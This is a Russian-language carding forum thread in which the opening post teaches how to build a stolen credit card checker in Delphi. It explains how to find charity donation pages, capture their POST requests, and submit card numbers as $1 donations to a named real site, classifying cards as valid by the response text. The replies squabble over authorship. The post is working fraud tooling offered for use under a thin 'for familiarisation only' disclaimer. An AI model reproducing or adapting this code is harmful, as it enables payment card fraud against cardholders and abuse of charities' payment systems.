[Delphi] Делаем свой чекер картона

Forum Library

Professional
Messages
1,167
Reputation
195
Reaction score
498
Points
83
Для начала нам надо найти мерчант, через который будет проходить процесс чекинга)

[Поиск мерчанта для чекера]
В этой статье я буду использовать Donate (дальше донат).
Донат можно найти в гугле такими запросами:
Code:
donate by credit card
donate for animals
donate for kinds
и так далее...
Для примера я буду использовать hXXps://www.amconmag.com/donate.html
Этот донат уже очень сильно задрочен мной... на нем ввели проверку адреса холдера + с 1 карты можно попытаться сделать пожертвование только 1 раз.

[Узнаем, какие запросы передаются сайту]
Чтобы узнать какие данные передаются сайту я использую плагин к Firefox:
Code:
HttpFox
.
Его можно найти в гугле).
После установки плагина в правом нижнем углу появится значок плагина.
Итак, переходим на сайт доната, вводим данные, для этого доната обязательно надо указывать следующие верные данные:
Code:
номер карты
експ
зип код
.
Жмем в плагине старт и на кнопку Donate! на странице доната.
После того, как страница выдала результат, в плагине HttpFox ищем строчку с POST запросом на сайт. (смотрим скрин, я обвел этот запрос).
asd123482377.png


Жмем на эту строчку и выбираем вкладку POST DATA, там будут данные, передаваемые сайту, которые собственно нам и нужны).

[Кодинг]
Я использую Delphi XE, т.к там сразу включены нормально работающие компненты Indy.
Запросы мы будет отправлять средствами Indy.
Для начала бросаем на форму пару Edit'ов для ввода данных для чека(номер карты, експ, зип), компонент IdHTTP из вкладки Indy Clients, и компонент IdSSLIOHandlerSocketOpenSSL (для работы с SSL) из вкладки Indy I/O Handlers и кнопку, по нажатии который будет происходить чек карты.
Связываем эти компоненты: Выделяем на форме компонент IdHTTP и в Object Inspector'е выбираем свойство IOHandlers и выбираем из списка IdSSLIOHandlerSocketOpenSSL.
Далее создаем переменную page типа string, в которой будет хранится страница ответа сервера и переменную типа Tstringlist я назвал ее ccdata. В переменной ccdata будут хранится данные для POST запроса.
Для начала нужно создать переменную ccdata, делается это так:
Code:
ccdata:=tstringlist.create;
Теперь нам надо сделать так, чтобы компонент IdHTTP делал автоматические редиректы:
Code:
idhttp1.HandleRedirects:=true;
Добавляем в переменную ccdata, данные которые мы получили из плагина HttpFox:
Code:
  ccdata.Add('firstname=vasya');
  ccdata.Add('lastname=pupkin');
  ccdata.Add('address1=4ertenok');
  ccdata.Add('address2=');
  ccdata.Add('city=4ertenok');
  ccdata.Add('state=4k');
  ccdata.Add('zipcode='+zipcode.Text);
  ccdata.add('[email protected]');
  ccdata.add('phone=');
  ccdata.Add('cardnumber='+cardnum.text);
  ccdata.Add('expmonth='+month.Text);
  ccdata.Add('expyear='+year.Text);
  ccdata.Add('donation=1'); // сумма
  ccdata.Add('comments=');
  ccdata.Add('Submit=Donate!');
Далее делаем POST запрос на страницу и помещаем ответ в переменую page:
Code:
page:=idhttp1.post('https://www.amconmag.com/donatethankдеs.html',ccdata);
Теперь анализируем ответ и выдаем результат:
Code:
if pos('There is a problem with this transaction',page)<>0 then begin
result.caption:='НЕВАЛИД!';
end
else begin
result.caption:='ВАЛИД!';
end;
т.е если найдена фраза There is a problem with this transaction, значит чекер выдает НЕВАЛИД! , иначе чекер покажет ВАЛИД!.
Нас учили убирать за собой:
Code:
ccdata.free;

[Заключение]
В этой статье я показал, как сделать простенький чекер картона через Donate.
Для массового чекера картона не советую использовать донаты, т.к они дохнут как мухи, через пару дней использования.
Донат, который показан в статье уже почти не чекает, т.к он был задрочен мной около месяца...
Статья написана исключительно для ознакомления!!!
 
Last edited:

xanter

VIP member
Messages
834
Reputation
78
Reaction score
109
Points
43
копипаст , авторство 4ertenok
 

zakidorex

RIPPER
Messages
17
Reputation
0
Reaction score
0
Points
1
пиздец... а ТС еще и вип юзер здесь...
хотя бы копирайты укажи
(c) 4ertenok, icq 351933412
 

comm1x

VIP member
Messages
428
Reputation
74
Reaction score
116
Points
43
ну давайте еще 10 раз скажем что "О нет копирайтов, это же всепиздецнах!"..
и почему каждый считает нужным написать об этом..
 
Messages
98
Reputation
15
Reaction score
23
Points
8
Please note, if you want to make a deal with this user, that it is blocked.
Спасибо тс, как всегда хорошая статья от тебя =)
 
Top